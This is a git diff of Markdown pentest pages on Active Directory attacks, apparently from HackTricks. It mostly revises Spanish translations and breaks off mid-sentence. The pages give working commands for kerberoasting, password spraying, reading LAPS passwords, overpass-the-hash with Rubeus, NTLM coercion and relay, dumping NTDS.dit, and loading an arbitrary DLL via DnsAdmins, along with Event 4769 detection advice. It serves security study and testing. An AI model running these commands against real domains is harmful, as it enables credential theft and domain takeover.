[https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) -Si encuentras este **error** de Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** es por tu hora local, necesitas sincronizar el host con el DC. Hay algunas opciones: +You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) -- `ntpdate ` - Obsoleto a partir de Ubuntu 16.04 -- `rdate -n ` +If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options: -### Mitigación +- `ntpdate ` - Deprecated as of Ubuntu 16.04 +- `rdate -n ` -El kerberoasting se puede llevar a cabo con un alto grado de sigilo si es explotable. Para detectar esta actividad, se debe prestar atención al **ID de Evento de Seguridad 4769**, que indica que se ha solicitado un ticket de Kerberos. Sin embargo, debido a la alta frecuencia de este evento, se deben aplicar filtros específicos para aislar actividades sospechosas: +### Mitigation + +Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities: + +- The service name should not be **krbtgt**, as this is a normal request. +- Service names ending with **$** should be excluded to avoid including machine accounts used for services. +- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**. +- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**. +- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks. -- El nombre del servicio no debe ser **krbtgt**, ya que esta es una solicitud normal. -- Los nombres de servicio que terminan con **$** deben ser excluidos para evitar incluir cuentas de máquina utilizadas para servicios. -- Las solicitudes de máquinas deben ser filtradas excluyendo nombres de cuentas formateados como **machine@domain**. -- Solo se deben considerar las solicitudes de tickets exitosas, identificadas por un código de fallo de **'0x0'**. -- **Lo más importante**, el tipo de cifrado del ticket debe ser **0x17**, que a menudo se utiliza en ataques de Kerberoasting. ```bash Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message ``` -Para mitigar el riesgo de Kerberoasting: -- Asegúrese de que **las contraseñas de las cuentas de servicio sean difíciles de adivinar**, recomendando una longitud de más de **25 caracteres**. -- Utilice **Cuentas de Servicio Administradas**, que ofrecen beneficios como **cambios automáticos de contraseña** y **gestión delegada del Nombre Principal de Servicio (SPN)**, mejorando la seguridad contra tales ataques. +To mitigate the risk of Kerberoasting: -Al implementar estas medidas, las organizaciones pueden reducir significativamente el riesgo asociado con Kerberoasting. +- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**. +- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks. -## Kerberoast sin cuenta de dominio +By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting. -En **septiembre de 2022**, un nuevo método para explotar un sistema fue revelado por un investigador llamado Charlie Clark, compartido a través de su plataforma [exploit.ph](https://exploit.ph/). Este método permite la adquisición de **Tickets de Servicio (ST)** a través de una solicitud **KRB_AS_REQ**, que notablemente no requiere control sobre ninguna cuenta de Active Directory. Esencialmente, si un principal está configurado de tal manera que no requiere pre-autenticación—un escenario similar a lo que se conoce en el ámbito de la ciberseguridad como un **ataque AS-REP Roasting**—esta característica puede ser aprovechada para manipular el proceso de solicitud. Específicamente, al alterar el atributo **sname** dentro del cuerpo de la solicitud, el sistema es engañado para emitir un **ST** en lugar del estándar Ticket Granting Ticket (TGT) encriptado. +## Kerberoast w/o domain account -La técnica se explica completamente en este artículo: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). +In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT). + +The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). > [!WARNING] -> Debe proporcionar una lista de usuarios porque no tenemos una cuenta válida para consultar el LDAP utilizando esta técnica. +> You must provide a list of users because we don't have a valid account to query the LDAP using this technique. #### Linux - [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413): + ```bash GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/ ``` + #### Windows - [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139): + ```bash Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" ``` -## Referencias + +## References - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md index 4cde6f40a..ae33ace34 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -1,34 +1,34 @@ -# Kerberos Double Hop Problem +# Problema de Doble Salto de Kerberos {{#include ../../banners/hacktricks-training.md}} ## Introducción -El problema de "Double Hop" de Kerberos aparece cuando un atacante intenta usar **Kerberos authentication across two** **hops**, por ejemplo usando **PowerShell**/**WinRM**. +El problema de "Doble Salto" de Kerberos aparece cuando un atacante intenta usar **la autenticación de Kerberos a través de dos** **saltos**, por ejemplo usando **PowerShell**/**WinRM**. -Cuando ocurre una **authentication** a través de **Kerberos**, las **credentials** **no están** almacenadas en **memoria.** Por lo tanto, si ejecutas mimikatz **no encontrarás credentials** del usuario en la máquina incluso si está ejecutando procesos. +Cuando ocurre una **autenticación** a través de **Kerberos**, las **credenciales** **no están** almacenadas en **memoria.** Por lo tanto, si ejecutas mimikatz **no encontrarás credenciales** del usuario en la máquina, incluso si está ejecutando procesos. -Esto se debe a que al conectarse con Kerberos estos son los pasos: +Esto se debe a que al conectarse con Kerberos, estos son los pasos: -1. User1 proporciona credentials y el **domain controller** devuelve un **TGT** de Kerberos a User1. -2. User1 usa el **TGT** para solicitar un **service ticket** para **connect** a Server1. -3. User1 **connects** a **Server1** y proporciona el **service ticket**. -4. **Server1** **no tiene** las **credentials** de User1 almacenadas o el **TGT** de User1. Por lo tanto, cuando User1 desde Server1 intenta iniciar sesión en un segundo servidor, **no puede autenticarse**. +1. User1 proporciona credenciales y el **controlador de dominio** devuelve un **TGT** de Kerberos a User1. +2. User1 usa el **TGT** para solicitar un **ticket de servicio** para **conectarse** a Server1. +3. User1 **se conecta** a **Server1** y proporciona el **ticket de servicio**. +4. **Server1** **no tiene** las **credenciales** de User1 almacenadas o el **TGT** de User1. Por lo tanto, cuando User1 desde Server1 intenta iniciar sesión en un segundo servidor, **no puede autenticarse**. ### Delegación No Restringida -Si la **unconstrained delegation** está habilitada en la PC, esto no sucederá ya que el **Server** **obtendrá** un **TGT** de cada usuario que acceda a él. Además, si se utiliza la delegación no restringida, probablemente puedas **comprometer el Domain Controller** desde él.\ +Si la **delegación no restringida** está habilitada en la PC, esto no sucederá ya que el **Servidor** **obtendrá** un **TGT** de cada usuario que acceda a él. Además, si se utiliza la delegación no restringida, probablemente puedas **comprometer el Controlador de Dominio** desde él.\ [**Más información en la página de delegación no restringida**](unconstrained-delegation.md). ### CredSSP -Otra forma de evitar este problema que es [**notablemente insegura**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) es **Credential Security Support Provider**. De Microsoft: +Otra forma de evitar este problema, que es [**notablemente insegura**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), es el **Proveedor de Soporte de Seguridad de Credenciales**. De Microsoft: -> La autenticación CredSSP delega las credentials del usuario desde la computadora local a una computadora remota. Esta práctica aumenta el riesgo de seguridad de la operación remota. Si la computadora remota es comprometida, cuando se pasan las credentials a ella, las credentials pueden ser utilizadas para controlar la sesión de red. +> La autenticación de CredSSP delega las credenciales del usuario desde la computadora local a una computadora remota. Esta práctica aumenta el riesgo de seguridad de la operación remota. Si la computadora remota es comprometida, cuando se pasan las credenciales a ella, las credenciales pueden ser utilizadas para controlar la sesión de red. -Se recomienda encarecidamente que **CredSSP** esté deshabilitado en sistemas de producción, redes sensibles y entornos similares debido a preocupaciones de seguridad. Para determinar si **CredSSP** está habilitado, se puede ejecutar el comando `Get-WSManCredSSP`. Este comando permite la **verificación del estado de CredSSP** e incluso puede ser ejecutado de forma remota, siempre que **WinRM** esté habilitado. -```powershell +Se recomienda encarecidamente que **CredSSP** esté deshabilitado en sistemas de producción, redes sensibles y entornos similares debido a preocupaciones de seguridad. Para determinar si **CredSSP** está habilitado, se puede ejecutar el comando `Get-WSManCredSSP`. Este comando permite **verificar el estado de CredSSP** y puede incluso ejecutarse de forma remota, siempre que **WinRM** esté habilitado. +```bash Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock { Get-WSManCredSSP } @@ -37,8 +37,8 @@ Get-WSManCredSSP ### Invocar Comando -Para abordar el problema del doble salto, se presenta un método que involucra un `Invoke-Command` anidado. Esto no resuelve el problema directamente, pero ofrece una solución alternativa sin necesidad de configuraciones especiales. El enfoque permite ejecutar un comando (`hostname`) en un servidor secundario a través de un comando de PowerShell ejecutado desde una máquina atacante inicial o a través de una PS-Session previamente establecida con el primer servidor. Así es como se hace: -```powershell +Para abordar el problema del doble salto, se presenta un método que involucra un `Invoke-Command` anidado. Esto no resuelve el problema directamente, pero ofrece una solución alternativa sin necesidad de configuraciones especiales. El enfoque permite ejecutar un comando (`hostname`) en un servidor secundario a través de un comando de PowerShell ejecutado desde una máquina de ataque inicial o a través de una PS-Session previamente establecida con el primer servidor. Así es como se hace: +```bash $cred = Get-Credential ta\redsuit Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock { Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname} @@ -49,7 +49,7 @@ Alternativamente, se sugiere establecer una PS-Session con el primer servidor y ### Registrar la Configuración de PSSession Una solución para el problema del doble salto implica usar `Register-PSSessionConfiguration` con `Enter-PSSession`. Este método requiere un enfoque diferente al de `evil-winrm` y permite una sesión que no sufre de la limitación del doble salto. -```powershell +```bash Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username Restart-Service WinRM Enter-PSSession -ConfigurationName doublehopsess -ComputerName -Credential domain_name\username @@ -74,7 +74,7 @@ Instalar OpenSSH en el primer servidor permite una solución para el problema de #### Pasos de Instalación de OpenSSH -1. Descargue y mueva el último zip de la versión de OpenSSH al servidor objetivo. +1. Descargue y mueva el último zip de la versión de OpenSSH al servidor de destino. 2. Descomprima y ejecute el script `Install-sshd.ps1`. 3. Agregue una regla de firewall para abrir el puerto 22 y verifique que los servicios SSH estén en funcionamiento. diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md index dc42f4d0b..8b9bb5dd2 100644 --- a/src/windows-hardening/active-directory-methodology/laps.md +++ b/src/windows-hardening/active-directory-methodology/laps.md @@ -5,7 +5,7 @@ ## Información Básica -Local Administrator Password Solution (LAPS) es una herramienta utilizada para gestionar un sistema donde las **contraseñas de administrador**, que son **únicas, aleatorias y cambiadas con frecuencia**, se aplican a computadoras unidas al dominio. Estas contraseñas se almacenan de forma segura dentro de Active Directory y solo son accesibles para los usuarios que han recibido permiso a través de Listas de Control de Acceso (ACLs). La seguridad de las transmisiones de contraseñas del cliente al servidor se asegura mediante el uso de **Kerberos versión 5** y **Advanced Encryption Standard (AES)**. +Local Administrator Password Solution (LAPS) es una herramienta utilizada para gestionar un sistema donde las **contraseñas de administrador**, que son **únicas, aleatorias y cambiadas con frecuencia**, se aplican a computadoras unidas al dominio. Estas contraseñas se almacenan de forma segura dentro de Active Directory y solo son accesibles para los usuarios que han recibido permiso a través de Listas de Control de Acceso (ACLs). La seguridad de las transmisiones de contraseñas del cliente al servidor se asegura mediante el uso de **Kerberos versión 5** y **Estándar de Cifrado Avanzado (AES)**. En los objetos de computadora del dominio, la implementación de LAPS resulta en la adición de dos nuevos atributos: **`ms-mcs-AdmPwd`** y **`ms-mcs-AdmPwdExpirationTime`**. Estos atributos almacenan la **contraseña de administrador en texto claro** y **su tiempo de expiración**, respectivamente. @@ -27,7 +27,7 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs Puedes **descargar la política LAPS en bruto** desde `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` y luego usar **`Parse-PolFile`** del paquete [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) para convertir este archivo en un formato legible por humanos. Además, se pueden usar los **cmdlets de PowerShell nativos de LAPS** si están instalados en una máquina a la que tenemos acceso: -```powershell +```bash Get-Command *AdmPwd* CommandType Name Version Source @@ -47,8 +47,8 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl # Read the password Get-AdmPwdPassword -ComputerName wkstn-2 | fl ``` -**PowerView** también se puede usar para averiguar **quién puede leer la contraseña y leerla**: -```powershell +**PowerView** también se puede utilizar para averiguar **quién puede leer la contraseña y leerla**: +```bash # Find the principals that have ReadPropery on ms-Mcs-AdmPwd Get-AdmPwdPassword -ComputerName wkstn-2 | fl @@ -60,7 +60,7 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd El [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilita la enumeración de LAPS con varias funciones.\ Una es analizar **`ExtendedRights`** para **todas las computadoras con LAPS habilitado.** Esto mostrará **grupos** específicamente **delegados para leer las contraseñas de LAPS**, que a menudo son usuarios en grupos protegidos.\ Una **cuenta** que ha **unido una computadora** a un dominio recibe `All Extended Rights` sobre ese host, y este derecho le da a la **cuenta** la capacidad de **leer contraseñas**. La enumeración puede mostrar una cuenta de usuario que puede leer la contraseña de LAPS en un host. Esto puede ayudarnos a **dirigirnos a usuarios específicos de AD** que pueden leer las contraseñas de LAPS. -```powershell +```bash # Get groups that can read passwords Find-LAPSDelegatedGroups @@ -91,7 +91,7 @@ crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps ``` Esto volcará todas las contraseñas que el usuario puede leer, lo que te permitirá obtener una mejor posición con un usuario diferente. -## ** Usando la Contraseña de LAPS ** +## ** Usando la contraseña de LAPS ** ``` xfreerdp /v:192.168.1.1:3389 /u:Administrator Password: 2Z@Ae)7!{9#Cq @@ -104,7 +104,7 @@ Password: 2Z@Ae)7!{9#Cq ### **Fecha de Expiración** Una vez que se tiene acceso de administrador, es posible **obtener las contraseñas** y **prevenir** que una máquina **actualice** su **contraseña** **estableciendo la fecha de expiración en el futuro**. -```powershell +```bash # Get expiration time Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime @@ -117,7 +117,7 @@ Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="2326099 ### Backdoor -El código fuente original de LAPS se puede encontrar [aquí](https://github.com/GreyCorbel/admpwd), por lo tanto, es posible poner una puerta trasera en el código (dentro del método `Get-AdmPwdPassword` en `Main/AdmPwd.PS/Main.cs`, por ejemplo) que de alguna manera **exfiltre nuevas contraseñas o las almacene en algún lugar**. +El código fuente original de LAPS se puede encontrar [aquí](https://github.com/GreyCorbel/admpwd), por lo tanto, es posible poner un backdoor en el código (dentro del método `Get-AdmPwdPassword` en `Main/AdmPwd.PS/Main.cs`, por ejemplo) que de alguna manera **exfiltre nuevas contraseñas o las almacene en algún lugar**. Luego, solo compila el nuevo `AdmPwd.PS.dll` y súbelo a la máquina en `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (y cambia la hora de modificación). diff --git a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md index 311fd82ad..5b5ee9d2c 100644 --- a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md +++ b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md @@ -7,7 +7,7 @@ El ataque **Overpass The Hash/Pass The Key (PTK)** está diseñado para entornos donde el protocolo NTLM tradicional está restringido y la autenticación Kerberos tiene prioridad. Este ataque aprovecha el hash NTLM o las claves AES de un usuario para solicitar tickets Kerberos, lo que permite el acceso no autorizado a recursos dentro de una red. -Para ejecutar este ataque, el primer paso implica adquirir el hash NTLM o la contraseña de la cuenta del usuario objetivo. Al asegurar esta información, se puede obtener un Ticket Granting Ticket (TGT) para la cuenta, lo que permite al atacante acceder a servicios o máquinas a los que el usuario tiene permisos. +Para ejecutar este ataque, el primer paso implica adquirir el hash NTLM o la contraseña de la cuenta del usuario objetivo. Al asegurar esta información, se puede obtener un Ticket Granting Ticket (TGT) para la cuenta, lo que permite al atacante acceder a servicios o máquinas a las que el usuario tiene permisos. El proceso se puede iniciar con los siguientes comandos: ```bash @@ -26,10 +26,19 @@ Una secuencia de comandos alternativa utilizando Rubeus.exe demuestra otro aspec ``` Este método refleja el enfoque de **Pass the Key**, con un enfoque en apoderarse y utilizar el ticket directamente para fines de autenticación. Es crucial notar que la iniciación de una solicitud de TGT activa el evento `4768: A Kerberos authentication ticket (TGT) was requested`, lo que significa un uso de RC4-HMAC por defecto, aunque los sistemas Windows modernos prefieren AES256. -Para conformarse a la seguridad operativa y usar AES256, se puede aplicar el siguiente comando: +Para cumplir con la seguridad operativa y usar AES256, se puede aplicar el siguiente comando: ```bash .\Rubeus.exe asktgt /user: /domain: /aes256:HASH /nowrap /opsec ``` +## Versión más sigilosa + +> [!WARNING] +> Cada sesión de inicio de sesión solo puede tener un TGT activo a la vez, así que ten cuidado. + +1. Crea una nueva sesión de inicio de sesión con **`make_token`** de Cobalt Strike. +2. Luego, usa Rubeus para generar un TGT para la nueva sesión de inicio de sesión sin afectar la existente. + + ## Referencias - [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/) diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 9720294f9..ca279e297 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -78,7 +78,7 @@ done .\Rubeus.exe brute /passwords: /outfile: ``` - Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Puede generar usuarios del dominio por defecto y obtendrá la política de contraseñas del dominio y limitará los intentos de acuerdo a ella): -```powershell +```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` - Con [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index 7f986e89c..673cb15c7 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -51,7 +51,7 @@ https://github.com/p0dalirius/Coercer ## PrivExchange -El ataque `PrivExchange` es el resultado de un defecto encontrado en la **función `PushSubscription` del Exchange Server**. Esta función permite que el servidor de Exchange sea forzado por cualquier usuario de dominio con un buzón para autenticarse en cualquier host proporcionado por el cliente a través de HTTP. +El ataque `PrivExchange` es el resultado de un defecto encontrado en la **función `PushSubscription` del Exchange Server**. Esta función permite que cualquier usuario de dominio con un buzón fuerce al servidor de Exchange a autenticarse con cualquier host proporcionado por el cliente a través de HTTP. Por defecto, el **servicio de Exchange se ejecuta como SYSTEM** y se le otorgan privilegios excesivos (específicamente, tiene **privilegios WriteDacl en el dominio antes de la Actualización Acumulativa de 2019**). Este defecto puede ser explotado para habilitar el **reenvío de información a LDAP y posteriormente extraer la base de datos NTDS del dominio**. En casos donde el reenvío a LDAP no es posible, este defecto aún puede ser utilizado para reenviar y autenticarse en otros hosts dentro del dominio. La explotación exitosa de este ataque otorga acceso inmediato al Administrador de Dominio con cualquier cuenta de usuario de dominio autenticada. @@ -78,7 +78,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- # Issuing NTLM relay attack on the local server with custom command mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` -O utiliza esta otra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) +O use esta otra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) ### Certutil @@ -102,9 +102,15 @@ Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una pági ```html ``` -## Cracking NTLMv1 +## Otras formas de forzar y pescar la autenticación NTLM -Si puedes capturar [desafíos NTLMv1 lee aquí cómo crackearlos](../ntlm/index.html#ntlmv1-attack).\ -_Recuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder a "1122334455667788"_ +{{#ref}} +../ntlm/places-to-steal-ntlm-creds.md +{{#endref}} + +## Rompiendo NTLMv1 + +Si puedes capturar [los desafíos NTLMv1, lee aquí cómo romperlos](../ntlm/index.html#ntlmv1-attack).\ +_Recuerda que para romper NTLMv1 necesitas establecer el desafío de Responder en "1122334455667788"_ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index 09e64a5aa..20fe4eb39 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -13,7 +13,7 @@ Este grupo tiene la capacidad de crear cuentas y grupos que no son administradores en el dominio. Además, permite el inicio de sesión local en el Controlador de Dominio (DC). Para identificar a los miembros de este grupo, se ejecuta el siguiente comando: -```powershell +```bash Get-NetGroupMember -Identity "Account Operators" -Recurse ``` Agregar nuevos usuarios está permitido, así como el inicio de sesión local en DC01. @@ -25,7 +25,7 @@ La lista de control de acceso (ACL) del grupo **AdminSDHolder** es crucial, ya q Un atacante podría explotar esto modificando la ACL del grupo **AdminSDHolder**, otorgando permisos completos a un usuario estándar. Esto le daría efectivamente a ese usuario control total sobre todos los grupos protegidos. Si los permisos de este usuario se alteran o eliminan, se restablecerían automáticamente dentro de una hora debido al diseño del sistema. Los comandos para revisar los miembros y modificar permisos incluyen: -```powershell +```bash Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} @@ -34,7 +34,7 @@ Un script está disponible para acelerar el proceso de restauración: [Invoke-AD Para más detalles, visita [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). -## AD Recycle Bin +## Papelera de reciclaje de AD La membresía en este grupo permite la lectura de objetos de Active Directory eliminados, lo que puede revelar información sensible: ```bash @@ -44,9 +44,9 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * El acceso a los archivos en el DC está restringido a menos que el usuario sea parte del grupo `Server Operators`, lo que cambia el nivel de acceso. -### Escalación de Privilegios +### Escalamiento de Privilegios -Usando `PsService` o `sc` de Sysinternals, se puede inspeccionar y modificar los permisos de los servicios. El grupo `Server Operators`, por ejemplo, tiene control total sobre ciertos servicios, lo que permite la ejecución de comandos arbitrarios y la escalación de privilegios: +Usando `PsService` o `sc` de Sysinternals, se puede inspeccionar y modificar los permisos de los servicios. El grupo `Server Operators`, por ejemplo, tiene control total sobre ciertos servicios, lo que permite la ejecución de comandos arbitrarios y el escalamiento de privilegios: ```cmd C:\> .\PsService.exe security AppReadiness ``` @@ -54,10 +54,10 @@ Este comando revela que `Server Operators` tienen acceso completo, lo que permit ## Backup Operators -La membresía en el grupo `Backup Operators` proporciona acceso al sistema de archivos `DC01` debido a los privilegios `SeBackup` y `SeRestore`. Estos privilegios permiten la navegación por carpetas, la enumeración y la capacidad de copiar archivos, incluso sin permisos explícitos, utilizando la bandera `FILE_FLAG_BACKUP_SEMANTICS`. Es necesario utilizar scripts específicos para este proceso. +La membresía en el grupo `Backup Operators` proporciona acceso al sistema de archivos de `DC01` debido a los privilegios `SeBackup` y `SeRestore`. Estos privilegios permiten la navegación por carpetas, la enumeración y la capacidad de copiar archivos, incluso sin permisos explícitos, utilizando la bandera `FILE_FLAG_BACKUP_SEMANTICS`. Es necesario utilizar scripts específicos para este proceso. -Para listar los miembros del grupo, ejecuta: -```powershell +Para listar los miembros del grupo, ejecute: +```bash Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` ### Ataque Local @@ -98,11 +98,11 @@ expose %cdrive% F: end backup exit ``` -2. Copiar `NTDS.dit` de la copia de sombra: +2. Copia `NTDS.dit` de la copia de sombra: ```cmd Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit ``` -Alternativamente, utiliza `robocopy` para copiar archivos: +Alternativamente, usa `robocopy` para copiar archivos: ```cmd robocopy /B F:\Windows\NTDS .\ntds ntds.dit ``` @@ -117,7 +117,7 @@ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL ``` #### Usando wbadmin.exe -1. Configura el sistema de archivos NTFS para el servidor SMB en la máquina atacante y almacena en caché las credenciales SMB en la máquina objetivo. +1. Configura el sistema de archivos NTFS para el servidor SMB en la máquina del atacante y almacena en caché las credenciales SMB en la máquina objetivo. 2. Usa `wbadmin.exe` para la copia de seguridad del sistema y la extracción de `NTDS.dit`: ```cmd net use X: \\\sharename /user:smbuser password @@ -130,16 +130,16 @@ Para una demostración práctica, consulta [DEMO VIDEO WITH IPPSEC](https://www. ## DnsAdmins -Los miembros del grupo **DnsAdmins** pueden explotar sus privilegios para cargar una DLL arbitraria con privilegios de SYSTEM en un servidor DNS, a menudo alojado en Controladores de Dominio. Esta capacidad permite un potencial de explotación significativo. +Los miembros del grupo **DnsAdmins** pueden explotar sus privilegios para cargar un DLL arbitrario con privilegios de SYSTEM en un servidor DNS, a menudo alojado en Controladores de Dominio. Esta capacidad permite un potencial de explotación significativo. Para listar los miembros del grupo DnsAdmins, usa: -```powershell +```bash Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` ### Ejecutar DLL arbitraria Los miembros pueden hacer que el servidor DNS cargue una DLL arbitraria (ya sea localmente o desde un recurso compartido remoto) utilizando comandos como: -```powershell +```bash dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: @@ -175,15 +175,15 @@ DnsAdmins pueden manipular registros DNS para realizar ataques Man-in-the-Middle ### Lectores de Registros de Eventos Los miembros pueden acceder a los registros de eventos, encontrando potencialmente información sensible como contraseñas en texto plano o detalles de ejecución de comandos: -```powershell +```bash # Get members and search logs for sensitive information Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} ``` -## Exchange Windows Permissions +## Permisos de Windows de Exchange Este grupo puede modificar DACLs en el objeto de dominio, lo que podría otorgar privilegios de DCSync. Las técnicas para la escalada de privilegios que explotan este grupo se detallan en el repositorio de GitHub Exchange-AD-Privesc. -```powershell +```bash # List members Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` @@ -193,7 +193,7 @@ Los Administradores de Hyper-V tienen acceso completo a Hyper-V, lo que puede se ### Ejemplo de Explotación -El Servicio de Mantenimiento de Mozilla Firefox puede ser explotado por los Administradores de Hyper-V para ejecutar comandos como SYSTEM. Esto implica crear un enlace duro a un archivo protegido del SYSTEM y reemplazarlo con un ejecutable malicioso: +El Servicio de Mantenimiento de Mozilla de Firefox puede ser explotado por los Administradores de Hyper-V para ejecutar comandos como SYSTEM. Esto implica crear un enlace duro a un archivo protegido del SYSTEM y reemplazarlo con un ejecutable malicioso: ```bash # Take ownership and start the service takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe @@ -203,7 +203,7 @@ Nota: La explotación de 